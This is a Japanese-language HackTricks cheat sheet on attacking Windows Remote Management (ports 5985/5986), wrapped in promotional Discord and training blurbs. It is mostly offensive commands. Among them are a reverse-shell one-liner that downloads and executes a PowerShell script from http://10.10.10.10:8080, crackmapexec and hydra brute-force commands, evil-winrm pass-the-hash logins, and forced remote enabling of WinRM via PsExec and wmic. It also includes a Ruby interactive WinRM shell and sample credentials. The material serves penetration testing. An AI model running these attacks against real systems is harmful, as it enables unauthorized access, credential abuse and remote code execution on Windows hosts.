5985,5986 - Pentesting WinRM

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する

リアルタイムのハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく

最新のアナウンス 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手する

Discordに参加して、今日からトップハッカーと協力しましょう!

WinRM

Windows Remote Management (WinRM) は、Microsoftによって強調されているプロトコルであり、HTTP(S)を介してWindowsシステムのリモート管理を可能にするもので、その過程でSOAPを活用しています。これは基本的にWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして表れます。

マシン上にWinRMが存在すると、他のオペレーティングシステムでのSSHのように、PowerShellを介した簡単なリモート管理が可能になります。WinRMが稼働しているかどうかを確認するには、特定のポートが開かれているかを確認することが推奨されます:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

上記のリストからのオープンポートは、WinRMが設定されていることを示し、したがってリモートセッションを開始する試みを許可します。

WinRMセッションの開始

PowerShellをWinRMに設定するには、MicrosoftのEnable-PSRemotingコマンドレットが活躍し、コンピューターをリモートPowerShellコマンドを受け入れるように設定します。昇格されたPowerShellアクセスで、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼できるように指定できます。

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

このアプローチでは、trustedhosts 構成にワイルドカードを追加する必要がありますが、その影響を慎重に考慮する必要があります。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があるかもしれません。

さらに、WinRM は wmic コマンドを使用してリモートで有効化することができます。以下に示すように実証されています:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

この方法により、WinRMのリモート設定が可能となり、Windowsマシンを遠隔から管理する柔軟性が向上します。

設定が正しく行われているかをテストする

攻撃マシンの設定を確認するために、Test-WSManコマンドを使用してターゲットがWinRMを適切に構成しているかどうかを確認します。このコマンドを実行することで、プロトコルバージョンやwsmidに関する詳細が表示され、正常な構成が示されます。以下は、構成されたターゲットと構成されていないターゲットの想定される出力を示す例です:

  • 正しく構成されたターゲットの場合、出力は次のようになります:

Test-WSMan <target-ip>

以下は、プロトコルバージョンとwsmidに関する情報を含む、WinRMが正しく設定されていることを示す応答です。

  • 逆に、WinRMに設定されていないターゲットの場合、適切なWinRMのセットアップがないことを示す詳細な情報がないため、次のようになります。

コマンドの実行

ターゲットマシンでリモートでipconfigを実行して出力を表示するには、次のようにします:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

あなたはInvoke-Commandを介して現在のPSコンソールのコマンドを実行することもできます。ローカルにenumerationという関数があると仮定し、それをリモートコンピュータで実行したい場合、次のようにします:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

スクリプトの実行

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

逆シェルを取得

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PSセッションの取得

インタラクティブなPowerShellシェルを取得するには、Enter-PSSessionを使用します:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

セッションは、「被害者」内の新しいプロセス(wsmprovhost)で実行されます

WinRMの強制オープン

PSリモートおよびWinRMを使用するためにコンピュータが構成されていない場合、次のコマンドを使用して有効にできます:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

セッションの保存と復元

これは、リモートコンピューターで言語が制約されている場合には機能しません。

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

このセッション内では、Invoke-Command を使用して PS スクリプトをロードできます。

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

エラー

次のエラーが見つかった場合:

enter-pssession : リモート サーバー 10.10.10.175 に接続できませんでした。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合は、HTTPS トランスポートを使用するか、宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストにあるコンピューターは認証されない場合があることに注意してください。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。

クライアントで次の手順を試してみてください(こちらからの情報):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察 ハッキングのスリルとチャレンジに深く入り込むコンテンツと関わり合う

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界の最新情報を把握する

最新のアナウンスメント 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得る

Discord に参加して、今日からトップハッカーと協力を始めましょう!

Linux での WinRM 接続

ブルートフォース

WinRM のブルートフォース攻撃には注意が必要です。

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

悪意のあるwinrmの使用

gem install evil-winrm

ドキュメントはこちらのGitHubで確認できます: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

evil-winrmを使用してIPv6アドレスに接続するには、_/etc/hosts_内にドメイン名をIPv6アドレスに設定して、そのドメインに接続します。

evil-winrmを使用したハッシュの渡し方

evil-winrm -u <username> -H <Hash> -i <IP>

PS-docker マシンの使用

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

ルビースクリプトを使用する

ここから抽出されたコード: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks Automatic Commands

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察力 ハッキングのスリルとチャレンジに深く入り込むコンテンツと関わりましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう

最新のアナウンス 最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう

Discord に参加して、今日からトップハッカーと協力を始めましょう!

**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!

HackTricks をサポートする他の方法:

Last updated